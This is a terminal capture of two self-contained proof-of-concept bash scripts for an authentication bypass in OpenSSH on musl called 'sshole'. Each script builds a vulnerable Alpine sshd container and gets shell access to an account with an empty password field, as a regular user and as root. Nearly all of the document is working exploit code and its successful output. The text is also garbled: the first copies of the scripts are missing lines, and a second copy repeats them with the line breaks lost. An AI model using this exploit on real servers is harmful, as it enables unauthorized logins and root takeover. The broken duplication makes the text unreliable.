$ cat repro.sh
#!/usr/bin/env bash
# Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass
# (non-root variant). Writes its own Dockerfile, builds + runs the
# vulnerable sshd, exploits a locked ("") account, prints the result,
# and cleans up. Needs: Docker, an OpenSSH client >= 8.4.
set -euo pipefail
# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's
# cached fake-salt, 2nd (>256 bytes) is then accepted for "victim", whose
# /etc/shadow password field is "" and who has no real password.
printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh"
chmod +x "$workdir/askpass.sh"
echo "[] exploiting (2 attempts, one connection, second >256 bytes)..."
SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o PubkeyAuthentication=no -o PreferredAuthentications=password \
-o NumberOfPasswordPrompts=2 [email protected] id < /dev/null
$ ./repro.sh
[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)...
[] exploiting (2 attempts, one connection, second >256 bytes)...
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
Permission denied, please try again.
uid=1001(victim) gid=1001(victim) groups=1001(victim)
$
$ cat repro_root.sh
#!/usr/bin/env bash
# Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass
# (root variant). Writes its own Dockerfile, builds + runs the vulnerable
# sshd, exploits root (shadow field "", PermitRootLogin yes), prints the
# result, and cleans up. Needs: Docker, an OpenSSH client >= 8.4.
set -euo pipefail
# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's
# cached fake-salt, 2nd (>256 bytes) is then accepted for "root", whose
# /etc/shadow password field is "" and who has no real password.
# PermitRootLogin yes is required: OpenSSH blocks root password auth by
# default (prohibit-password) regardless of this bug.
printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh"
chmod +x "$workdir/askpass.sh"
echo "[] exploiting (2 attempts, one connection, second >256 bytes)..."
SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o PubkeyAuthentication=no -o PreferredAuthentications=password \
-o NumberOfPasswordPrompts=2 [email protected] id < /dev/null
$ ./repro_root.sh
[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)...
[] exploiting (2 attempts, one connection, second >256 bytes)...
Warning: Permanently added '[127.0.0.1]:2223' (ED25519) to the list of known hosts.
Permission denied, please try again.
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
$ cat repro.sh #!/usr/bin/env bash # Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass # (non-root variant). Writes its own Dockerfile, builds + runs the # vulnerable sshd, exploits a locked ("") account, prints the result, # and cleans up. Needs: Docker, an OpenSSH client >= 8.4. set -euo pipefail
name=sshhole-poc port=2222 workdir=$(mktemp -d) trap 'docker rm -f "$name" >/dev/null 2>&1; docker rmi "$name" >/dev/null 2>&1; rm -rf "$workdir"' EXIT docker rm -f "$name" >/dev/null 2>&1 || true
cat > "$workdir/Dockerfile" <<'EOF' FROM alpine:3.15 RUN apk add --no-cache openssh-server \ && ssh-keygen -A \ && adduser -D alice && echo 'alice:correcthorse' | chpasswd \ && adduser -D victim \ && sed -i 's/^victim:[^:]/victim:/' /etc/shadow \ && printf '%s\n' 'PasswordAuthentication yes' 'PermitEmptyPasswords no' >> /etc/ssh/sshd_config ENTRYPOINT ["/usr/sbin/sshd", "-D", "-e"] EOF
echo "[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)..." docker build -q -t "$name" "$workdir" >/dev/null docker run -d --name "$name" -p "127.0.0.1:$port:22" "$name" >/dev/null sleep 2
# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's # cached fake-salt, 2nd (>256 bytes) is then accepted for "victim", whose # /etc/shadow password field is "" and who has no real password. printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh" chmod +x "$workdir/askpass.sh"
echo "[] exploiting (2 attempts, one connection, second >256 bytes)..." SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o PubkeyAuthentication=no -o PreferredAuthentications=password \ -o NumberOfPasswordPrompts=2 [email protected] id < /dev/null $ ./repro.sh [] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)... [] exploiting (2 attempts, one connection, second >256 bytes)... Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts. Permission denied, please try again. uid=1001(victim) gid=1001(victim) groups=1001(victim) $ $ cat repro_root.sh #!/usr/bin/env bash # Self-contained PoC for the musl crypt() / OpenSSH "sshole" auth bypass # (root variant). Writes its own Dockerfile, builds + runs the vulnerable # sshd, exploits root (shadow field "", PermitRootLogin yes), prints the # result, and cleans up. Needs: Docker, an OpenSSH client >= 8.4. set -euo pipefail
name=sshhole-poc-root port=2223 workdir=$(mktemp -d) trap 'docker rm -f "$name" >/dev/null 2>&1; docker rmi "$name" >/dev/null 2>&1; rm -rf "$workdir"' EXIT docker rm -f "$name" >/dev/null 2>&1 || true
cat > "$workdir/Dockerfile" <<'EOF' FROM alpine:3.15 RUN apk add --no-cache openssh-server \ && ssh-keygen -A \ && adduser -D alice && echo 'alice:correcthorse' | chpasswd \ && sed -i 's/^root:[^:]/root:/' /etc/shadow \ && printf '%s\n' 'PasswordAuthentication yes' 'PermitRootLogin yes' 'PermitEmptyPasswords no' >> /etc/ssh/sshd_config ENTRYPOINT ["/usr/sbin/sshd", "-D", "-e"] EOF
echo "[] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)..." docker build -q -t "$name" "$workdir" >/dev/null docker run -d --name "$name" -p "127.0.0.1:$port:22" "$name" >/dev/null sleep 2
# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's # cached fake-salt, 2nd (>256 bytes) is then accepted for "root", whose # /etc/shadow password field is "" and who has no real password. # PermitRootLogin yes is required: OpenSSH blocks root password auth by # default (prohibit-password) regardless of this bug. printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh" chmod +x "$workdir/askpass.sh"
echo "[] exploiting (2 attempts, one connection, second >256 bytes)..." SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o PubkeyAuthentication=no -o PreferredAuthentications=password \ -o NumberOfPasswordPrompts=2 [email protected] id < /dev/null $ ./repro_root.sh [] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)... [] exploiting (2 attempts, one connection, second >256 bytes)... Warning: Permanently added '[127.0.0.1]:2223' (ED25519) to the list of known hosts. Permission denied, please try again. uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)